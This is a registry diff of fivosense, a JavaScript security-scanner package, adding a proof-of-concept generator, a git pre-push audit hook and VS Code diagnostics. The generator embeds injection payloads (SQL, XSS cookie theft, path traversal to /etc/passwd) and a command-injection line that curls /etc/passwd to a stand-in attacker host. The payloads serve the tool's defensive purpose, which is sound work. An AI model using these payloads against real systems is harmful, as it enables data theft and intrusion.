fivosense 0.1.4 → 0.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (56) hide show
  1. package/COMPLETE_SUMMARY.md +412 -0
  2. package/DOCUMENTATION.md +608 -0
  3. package/FINAL_VERIFICATION.md +316 -0
  4. package/README.md +198 -316
  5. package/VERIFICATION_CHECKLIST.md +307 -0
  6. package/dist/ai/client.d.ts +27 -0
  7. package/dist/ai/client.d.ts.map +1 -0
  8. package/dist/ai/client.js +167 -0
  9. package/dist/ai/client.js.map +1 -0
  10. package/dist/ai/judge.d.ts +3 -3
  11. package/dist/ai/judge.d.ts.map +1 -1
  12. package/dist/ai/judge.js +43 -14
  13. package/dist/ai/judge.js.map +1 -1
  14. package/dist/cli/index.js +48 -7
  15. package/dist/cli/index.js.map +1 -1
  16. package/dist/core/orchestrator.d.ts +31 -0
  17. package/dist/core/orchestrator.d.ts.map +1 -0
  18. package/dist/core/orchestrator.js +205 -0
  19. package/dist/core/orchestrator.js.map +1 -0
  20. package/dist/core/scope.d.ts +29 -0
  21. package/dist/core/scope.d.ts.map +1 -0
  22. package/dist/core/scope.js +143 -0
  23. package/dist/core/scope.js.map +1 -0
  24. package/dist/engine/adversary.d.ts +3 -2
  25. package/dist/engine/adversary.d.ts.map +1 -1
  26. package/dist/engine/adversary.js +43 -12
  27. package/dist/engine/adversary.js.map +1 -1
  28. package/dist/engine/poc.d.ts +20 -0
  29. package/dist/engine/poc.d.ts.map +1 -0
  30. package/dist/engine/poc.js +176 -0
  31. package/dist/engine/poc.js.map +1 -0
  32. package/dist/features/index.d.ts +7 -0
  33. package/dist/features/index.d.ts.map +1 -0
  34. package/dist/features/index.js +7 -0
  35. package/dist/features/index.js.map +1 -0
  36. package/dist/hooks/git.d.ts +31 -0
  37. package/dist/hooks/git.d.ts.map +1 -0
  38. package/dist/hooks/git.js +155 -0
  39. package/dist/hooks/git.js.map +1 -0
  40. package/mcp/index.js +48 -20
  41. package/mcp/package-lock.json +382 -0
  42. package/mcp/package.json +1 -1
  43. package/package.json +1 -1
  44. package/src/ai/client.ts +219 -0
  45. package/src/ai/judge.ts +51 -14
  46. package/src/cli/index.ts +46 -7
  47. package/src/core/orchestrator.ts +259 -0
  48. package/src/core/scope.ts +168 -0
  49. package/src/engine/adversary.ts +48 -12
  50. package/src/engine/poc.ts +212 -0
  51. package/src/features/index.ts +7 -0
  52. package/src/hooks/git.ts +187 -0
  53. package/vscode-extension/fivosense-vscode-0.1.0.vsix +0 -0
  54. package/vscode-extension/package-lock.json +4 -4
  55. package/vscode-extension/package.json +3 -3
  56. package/vscode-extension/src/extension.ts +65 -11
@@ -0,0 +1,212 @@
1
+ /**
2
+ * PoC Generator - Generate proof-of-concept exploits
3
+ */
4
+
5
+ import { TaintTrace } from '../engine/taint.js';
6
+
7
+ export interface PoCTest {
8
+ category: string;
9
+ payload: string;
10
+ expectedBehavior: string;
11
+ testCode: string;
12
+ curlCommand?: string;
13
+ }
14
+
15
+ /**
16
+ * Generate SQL injection PoC
17
+ */
18
+ function generateSQLPoC(trace: TaintTrace): PoCTest {
19
+ const payloads = [
20
+ "' OR '1'='1",
21
+ "'; DROP TABLE users--",
22
+ "' UNION SELECT NULL, username, password FROM users--",
23
+ ];
24
+
25
+ const payload = payloads[0];
26
+
27
+ return {
28
+ category: 'SQL Injection',
29
+ payload,
30
+ expectedBehavior: 'Bypasses authentication or extracts data',
31
+ testCode: `
32
+ // Test SQL Injection
33
+ const maliciousInput = "${payload}";
34
+ const query = "SELECT * FROM users WHERE id = '" + maliciousInput + "'";
35
+ // Expected: Query becomes: SELECT * FROM users WHERE id = '' OR '1'='1'
36
+ // Result: Returns all users (authentication bypass)
37
+ `,
38
+ curlCommand: trace.path.includes('req.')
39
+ ? `curl -X POST http://localhost:3000/api/endpoint -d "id=${encodeURIComponent(payload)}"`
40
+ : undefined,
41
+ };
42
+ }
43
+
44
+ /**
45
+ * Generate XSS PoC
46
+ */
47
+ function generateXSSPoC(trace: TaintTrace): PoCTest {
48
+ const payloads = [
49
+ '<script>alert(document.cookie)</script>',
50
+ '<img src=x onerror=alert(1)>',
51
+ '<svg onload=alert(1)>',
52
+ ];
53
+
54
+ const payload = payloads[0];
55
+
56
+ return {
57
+ category: 'Cross-Site Scripting (XSS)',
58
+ payload,
59
+ expectedBehavior: 'Executes JavaScript in victim browser',
60
+ testCode: `
61
+ // Test XSS
62
+ const maliciousInput = "${payload}";
63
+ document.getElementById('output').innerHTML = maliciousInput;
64
+ // Expected: Script executes, shows alert with cookies
65
+ // Impact: Session hijacking, data theft
66
+ `,
67
+ curlCommand: trace.path.includes('req.')
68
+ ? `curl "http://localhost:3000/page?name=${encodeURIComponent(payload)}"`
69
+ : undefined,
70
+ };
71
+ }
72
+
73
+ /**
74
+ * Generate Command Injection PoC
75
+ */
76
+ function generateCommandPoC(trace: TaintTrace): PoCTest {
77
+ const payloads = [
78
+ '; cat /etc/passwd',
79
+ '| whoami',
80
+ '&& curl attacker.com/?data=$(cat /etc/passwd)',
81
+ ];
82
+
83
+ const payload = payloads[0];
84
+
85
+ return {
86
+ category: 'Command Injection',
87
+ payload,
88
+ expectedBehavior: 'Executes arbitrary system commands',
89
+ testCode: `
90
+ // Test Command Injection
91
+ const maliciousInput = "file.txt${payload}";
92
+ exec(\`cat \${maliciousInput}\`);
93
+ // Expected: Runs: cat file.txt; cat /etc/passwd
94
+ // Result: Leaks system password file
95
+ `,
96
+ curlCommand: trace.path.includes('req.')
97
+ ? `curl -X POST http://localhost:3000/api/command -d "file=test.txt${encodeURIComponent(payload)}"`
98
+ : undefined,
99
+ };
100
+ }
101
+
102
+ /**
103
+ * Generate Path Traversal PoC
104
+ */
105
+ function generatePathTraversalPoC(trace: TaintTrace): PoCTest {
106
+ const payloads = [
107
+ '../../../etc/passwd',
108
+ '..\\..\\..\\windows\\system32\\config\\sam',
109
+ '....//....//....//etc/passwd',
110
+ ];
111
+
112
+ const payload = payloads[0];
113
+
114
+ return {
115
+ category: 'Path Traversal',
116
+ payload,
117
+ expectedBehavior: 'Reads files outside intended directory',
118
+ testCode: `
119
+ // Test Path Traversal
120
+ const maliciousInput = "${payload}";
121
+ fs.readFile(\`/uploads/\${maliciousInput}\`, (err, data) => {
122
+ // Expected: Reads /etc/passwd instead of /uploads/file
123
+ // Result: Exposes sensitive system files
124
+ });
125
+ `,
126
+ curlCommand: trace.path.includes('req.')
127
+ ? `curl "http://localhost:3000/download?file=${encodeURIComponent(payload)}"`
128
+ : undefined,
129
+ };
130
+ }
131
+
132
+ /**
133
+ * Generate NoSQL Injection PoC
134
+ */
135
+ function generateNoSQLPoC(trace: TaintTrace): PoCTest {
136
+ const payload = '{"$gt": ""}';
137
+
138
+ return {
139
+ category: 'NoSQL Injection',
140
+ payload,
141
+ expectedBehavior: 'Bypasses authentication or extracts data',
142
+ testCode: `
143
+ // Test NoSQL Injection
144
+ const maliciousInput = ${payload};
145
+ db.collection('users').find({ username: req.body.username, password: maliciousInput });
146
+ // Expected: Query matches all documents (password always > "")
147
+ // Result: Authentication bypass
148
+ `,
149
+ curlCommand: trace.path.includes('req.')
150
+ ? `curl -X POST http://localhost:3000/login -H "Content-Type: application/json" -d '{"username":"admin","password":${payload}}'`
151
+ : undefined,
152
+ };
153
+ }
154
+
155
+ /**
156
+ * Generate PoC based on vulnerability type
157
+ */
158
+ export function generatePoC(trace: TaintTrace): PoCTest {
159
+ switch (trace.category.toLowerCase()) {
160
+ case 'sql':
161
+ return generateSQLPoC(trace);
162
+
163
+ case 'xss':
164
+ return generateXSSPoC(trace);
165
+
166
+ case 'command':
167
+ return generateCommandPoC(trace);
168
+
169
+ case 'path':
170
+ return generatePathTraversalPoC(trace);
171
+
172
+ case 'nosql':
173
+ return generateNoSQLPoC(trace);
174
+
175
+ default:
176
+ return {
177
+ category: trace.category,
178
+ payload: '<malicious-input>',
179
+ expectedBehavior: 'Exploits vulnerability',
180
+ testCode: `
181
+ // Generic test for ${trace.category}
182
+ const maliciousInput = "<malicious-input>";
183
+ // Test with malicious input to verify vulnerability
184
+ `,
185
+ };
186
+ }
187
+ }
188
+
189
+ /**
190
+ * Format PoC as markdown
191
+ */
192
+ export function formatPoCMarkdown(poc: PoCTest): string {
193
+ let md = `## ${poc.category} - Proof of Concept\n\n`;
194
+
195
+ md += `### Payload\n\`\`\`\n${poc.payload}\n\`\`\`\n\n`;
196
+
197
+ md += `### Expected Behavior\n${poc.expectedBehavior}\n\n`;
198
+
199
+ md += `### Test Code\n\`\`\`javascript${poc.testCode}\n\`\`\`\n\n`;
200
+
201
+ if (poc.curlCommand) {
202
+ md += `### HTTP Test\n\`\`\`bash\n${poc.curlCommand}\n\`\`\`\n\n`;
203
+ }
204
+
205
+ md += `### Mitigation\n`;
206
+ md += `- Use parameterized queries or prepared statements\n`;
207
+ md += `- Validate and sanitize all user input\n`;
208
+ md += `- Use allow-lists instead of block-lists\n`;
209
+ md += `- Apply principle of least privilege\n`;
210
+
211
+ return md;
212
+ }
@@ -0,0 +1,7 @@
1
+ /**
2
+ * Features exports
3
+ */
4
+
5
+ export * from './roast.js';
6
+ export * from './badge.js';
7
+ export * from './fix.js';
@@ -0,0 +1,187 @@
1
+ /**
2
+ * Git Hooks - Pre-push security audit
3
+ */
4
+
5
+ import { auditFile } from '../index.js';
6
+ import { readFile } from 'fs/promises';
7
+ import { exec } from 'child_process';
8
+ import { promisify } from 'util';
9
+
10
+ const execAsync = promisify(exec);
11
+
12
+ export interface GitHookResult {
13
+ allowed: boolean;
14
+ findings: number;
15
+ critical: number;
16
+ high: number;
17
+ message: string;
18
+ }
19
+
20
+ /**
21
+ * Get list of staged files
22
+ */
23
+ export async function getStagedFiles(): Promise<string[]> {
24
+ try {
25
+ const { stdout } = await execAsync('git diff --cached --name-only --diff-filter=ACM');
26
+ return stdout
27
+ .split('\n')
28
+ .filter(f => f.endsWith('.js') || f.endsWith('.ts') || f.endsWith('.jsx') || f.endsWith('.tsx'))
29
+ .filter(f => f.trim().length > 0);
30
+ } catch (error) {
31
+ console.warn('Failed to get staged files:', error);
32
+ return [];
33
+ }
34
+ }
35
+
36
+ /**
37
+ * Get list of files changed in current branch vs main
38
+ */
39
+ export async function getBranchChangedFiles(base: string = 'main'): Promise<string[]> {
40
+ try {
41
+ const { stdout } = await execAsync(`git diff --name-only ${base}...HEAD`);
42
+ return stdout
43
+ .split('\n')
44
+ .filter(f => f.endsWith('.js') || f.endsWith('.ts') || f.endsWith('.jsx') || f.endsWith('.tsx'))
45
+ .filter(f => f.trim().length > 0);
46
+ } catch (error) {
47
+ console.warn('Failed to get branch changed files:', error);
48
+ return [];
49
+ }
50
+ }
51
+
52
+ /**
53
+ * Run pre-push hook audit
54
+ */
55
+ export async function runPrePushHook(options: {
56
+ blockOnCritical?: boolean;
57
+ blockOnHigh?: boolean;
58
+ verbose?: boolean;
59
+ } = {}): Promise<GitHookResult> {
60
+ const {
61
+ blockOnCritical = true,
62
+ blockOnHigh = false,
63
+ verbose = true,
64
+ } = options;
65
+
66
+ try {
67
+ // Get files to audit
68
+ const files = await getBranchChangedFiles();
69
+
70
+ if (files.length === 0) {
71
+ return {
72
+ allowed: true,
73
+ findings: 0,
74
+ critical: 0,
75
+ high: 0,
76
+ message: '✅ No JavaScript/TypeScript files changed',
77
+ };
78
+ }
79
+
80
+ if (verbose) {
81
+ console.log(`\n🔍 FivoSense Pre-Push Audit`);
82
+ console.log(`📁 Scanning ${files.length} file(s)...\n`);
83
+ }
84
+
85
+ let totalFindings = 0;
86
+ let totalCritical = 0;
87
+ let totalHigh = 0;
88
+ const issues: string[] = [];
89
+
90
+ // Audit each file
91
+ for (const file of files) {
92
+ try {
93
+ const result = await auditFile(file);
94
+
95
+ if (result.summary.total > 0) {
96
+ totalFindings += result.summary.total;
97
+ totalCritical += result.summary.critical;
98
+ totalHigh += result.summary.high;
99
+
100
+ if (verbose && (result.summary.critical > 0 || result.summary.high > 0)) {
101
+ console.log(`❌ ${file}:`);
102
+ console.log(` Critical: ${result.summary.critical}, High: ${result.summary.high}, Medium: ${result.summary.medium}`);
103
+ issues.push(`${file}: ${result.summary.critical}C/${result.summary.high}H/${result.summary.medium}M`);
104
+ }
105
+ }
106
+ } catch (error) {
107
+ if (verbose) {
108
+ console.warn(`⚠️ Failed to audit ${file}:`, error);
109
+ }
110
+ }
111
+ }
112
+
113
+ // Determine if push should be blocked
114
+ const shouldBlock = (blockOnCritical && totalCritical > 0) || (blockOnHigh && totalHigh > 0);
115
+
116
+ if (verbose) {
117
+ console.log(`\n📊 Summary:`);
118
+ console.log(` Total findings: ${totalFindings}`);
119
+ console.log(` Critical: ${totalCritical}`);
120
+ console.log(` High: ${totalHigh}\n`);
121
+ }
122
+
123
+ if (shouldBlock) {
124
+ return {
125
+ allowed: false,
126
+ findings: totalFindings,
127
+ critical: totalCritical,
128
+ high: totalHigh,
129
+ message: `❌ Push blocked: ${totalCritical} critical and ${totalHigh} high severity issues found\n\n${issues.join('\n')}\n\nFix these issues or use --no-verify to bypass.`,
130
+ };
131
+ }
132
+
133
+ if (totalFindings > 0) {
134
+ return {
135
+ allowed: true,
136
+ findings: totalFindings,
137
+ critical: totalCritical,
138
+ high: totalHigh,
139
+ message: `⚠️ Push allowed with warnings: ${totalFindings} issue(s) found (${totalCritical}C/${totalHigh}H)`,
140
+ };
141
+ }
142
+
143
+ return {
144
+ allowed: true,
145
+ findings: 0,
146
+ critical: 0,
147
+ high: 0,
148
+ message: '✅ All files passed security audit',
149
+ };
150
+ } catch (error) {
151
+ return {
152
+ allowed: true,
153
+ findings: 0,
154
+ critical: 0,
155
+ high: 0,
156
+ message: `⚠️ Pre-push hook failed: ${error instanceof Error ? error.message : 'Unknown error'}`,
157
+ };
158
+ }
159
+ }
160
+
161
+ /**
162
+ * Install git pre-push hook
163
+ */
164
+ export async function installPrePushHook(repoPath: string = '.'): Promise<boolean> {
165
+ try {
166
+ const hookPath = `${repoPath}/.git/hooks/pre-push`;
167
+ const hookScript = `#!/bin/sh
168
+ # FivoSense pre-push hook
169
+ npx fivosense --pre-push
170
+ exit $?
171
+ `;
172
+
173
+ await writeFile(hookPath, hookScript);
174
+ await execAsync(`chmod +x ${hookPath}`);
175
+
176
+ console.log('✅ Pre-push hook installed successfully');
177
+ return true;
178
+ } catch (error) {
179
+ console.error('❌ Failed to install pre-push hook:', error);
180
+ return false;
181
+ }
182
+ }
183
+
184
+ async function writeFile(path: string, content: string): Promise<void> {
185
+ const { writeFile } = await import('fs/promises');
186
+ await writeFile(path, content);
187
+ }
@@ -9,7 +9,7 @@
9
9
  "version": "0.1.0",
10
10
  "license": "MIT",
11
11
  "dependencies": {
12
- "fivosense": "^0.1.3"
12
+ "fivosense": "^0.1.5"
13
13
  },
14
14
  "devDependencies": {
15
15
  "@types/node": "^20.11.0",
@@ -1224,9 +1224,9 @@
1224
1224
  }
1225
1225
  },
1226
1226
  "node_modules/fivosense": {
1227
- "version": "0.1.3",
1228
- "resolved": "https://registry.npmjs.org/fivosense/-/fivosense-0.1.3.tgz",
1229
- "integrity": "sha512-qAQ8h16jL5L1zSSYTl3iHvq614Yd5Vk6PZZ01rGj2ibaS1KNkmr8UOrjX7wAduZIS0ygPY0IOCyy7a9GdMTtmQ==",
1227
+ "version": "0.1.5",
1228
+ "resolved": "https://registry.npmjs.org/fivosense/-/fivosense-0.1.5.tgz",
1229
+ "integrity": "sha512-82s3pGQQF4MOfqYkZsSPxFPkhjDcA4PJJ2wS1hzEqaPwKDsxLkRtuXl3mG64jT/I4hXStYOhu8Ui366LLJkegQ==",
1230
1230
  "license": "MIT",
1231
1231
  "dependencies": {
1232
1232
  "@babel/parser": "^7.23.0",
@@ -81,14 +81,14 @@
81
81
  "typescript": "^5.3.3"
82
82
  },
83
83
  "dependencies": {
84
- "fivosense": "^0.1.3"
84
+ "fivosense": "^0.1.5"
85
85
  },
86
86
  "repository": {
87
87
  "type": "git",
88
- "url": "https://github.com/itsvinsoni/sense.git"
88
+ "url": "https://github.com/thevinsoni/sense.git"
89
89
  },
90
90
  "bugs": {
91
- "url": "https://github.com/itsvinsoni/sense/issues"
91
+ "url": "https://github.com/thevinsoni/sense/issues"
92
92
  },
93
93
  "license": "MIT"
94
94
  }
@@ -90,30 +90,35 @@ async function scanDocument(document: vscode.TextDocument) {
90
90
  const result = await auditFile(document.uri.fsPath);
91
91
  const diagnostics: vscode.Diagnostic[] = [];
92
92
 
93
- // Convert findings to VS Code diagnostics
94
- const allFindings = [...result.vulnerabilities, ...result.secrets, ...result.destructive];
95
- for (const finding of allFindings) {
96
- const severity = getSeverity(finding.severity);
93
+ // Convert vulnerabilities to VS Code diagnostics
94
+ for (const vuln of result.vulnerabilities) {
95
+ const severity = getSeverity(vuln.severity);
96
+ const line = vuln.location?.line || 1;
97
97
  const range = new vscode.Range(
98
- finding.line - 1, 0,
99
- finding.line - 1, 1000
98
+ line - 1, 0,
99
+ line - 1, 1000
100
100
  );
101
101
 
102
+ const evidenceText = vuln.evidence
103
+ ?.filter((e: any) => e.line)
104
+ .map((e: any) => `${e.type} at line ${e.line}`)
105
+ .join(', ') || 'No evidence';
106
+
102
107
  const diagnostic = new vscode.Diagnostic(
103
108
  range,
104
- `[${finding.type}] ${finding.message}\n${finding.evidence}`,
109
+ `[${vuln.category}] ${vuln.finding}\n${evidenceText}`,
105
110
  severity
106
111
  );
107
112
 
108
- diagnostic.code = finding.cwe;
113
+ diagnostic.code = vuln.cwe;
109
114
  diagnostic.source = 'FivoSense';
110
115
 
111
- // Add fix as code action
112
- if (finding.fix) {
116
+ // Add taint path as related info
117
+ if (vuln.path && vuln.path.length > 0) {
113
118
  diagnostic.relatedInformation = [
114
119
  new vscode.DiagnosticRelatedInformation(
115
120
  new vscode.Location(document.uri, range),
116
- `Fix: ${finding.fix}`
121
+ `Taint path: ${vuln.path.join(' → ')}`
117
122
  )
118
123
  ];
119
124
  }
@@ -121,6 +126,55 @@ async function scanDocument(document: vscode.TextDocument) {
121
126
  diagnostics.push(diagnostic);
122
127
  }
123
128
 
129
+ // Convert secrets to VS Code diagnostics
130
+ for (const secret of result.secrets) {
131
+ const range = new vscode.Range(
132
+ secret.line - 1, 0,
133
+ secret.line - 1, 1000
134
+ );
135
+
136
+ const diagnostic = new vscode.Diagnostic(
137
+ range,
138
+ `[Secret] ${secret.type} detected: ${secret.match}`,
139
+ vscode.DiagnosticSeverity.Warning
140
+ );
141
+
142
+ diagnostic.code = 'CWE-798';
143
+ diagnostic.source = 'FivoSense';
144
+ diagnostic.relatedInformation = [
145
+ new vscode.DiagnosticRelatedInformation(
146
+ new vscode.Location(document.uri, range),
147
+ 'Fix: Use environment variables instead of hardcoded secrets'
148
+ )
149
+ ];
150
+
151
+ diagnostics.push(diagnostic);
152
+ }
153
+
154
+ // Convert destructive commands to VS Code diagnostics
155
+ for (const cmd of result.destructive) {
156
+ const range = new vscode.Range(
157
+ cmd.line - 1, 0,
158
+ cmd.line - 1, 1000
159
+ );
160
+
161
+ const diagnostic = new vscode.Diagnostic(
162
+ range,
163
+ `[Destructive] ${cmd.command} - ${cmd.reason}`,
164
+ vscode.DiagnosticSeverity.Error
165
+ );
166
+
167
+ diagnostic.source = 'FivoSense';
168
+ diagnostic.relatedInformation = [
169
+ new vscode.DiagnosticRelatedInformation(
170
+ new vscode.Location(document.uri, range),
171
+ `Suggestion: ${cmd.suggestion}`
172
+ )
173
+ ];
174
+
175
+ diagnostics.push(diagnostic);
176
+ }
177
+
124
178
  diagnosticCollection.set(document.uri, diagnostics);
125
179
 
126
180
  // Update status bar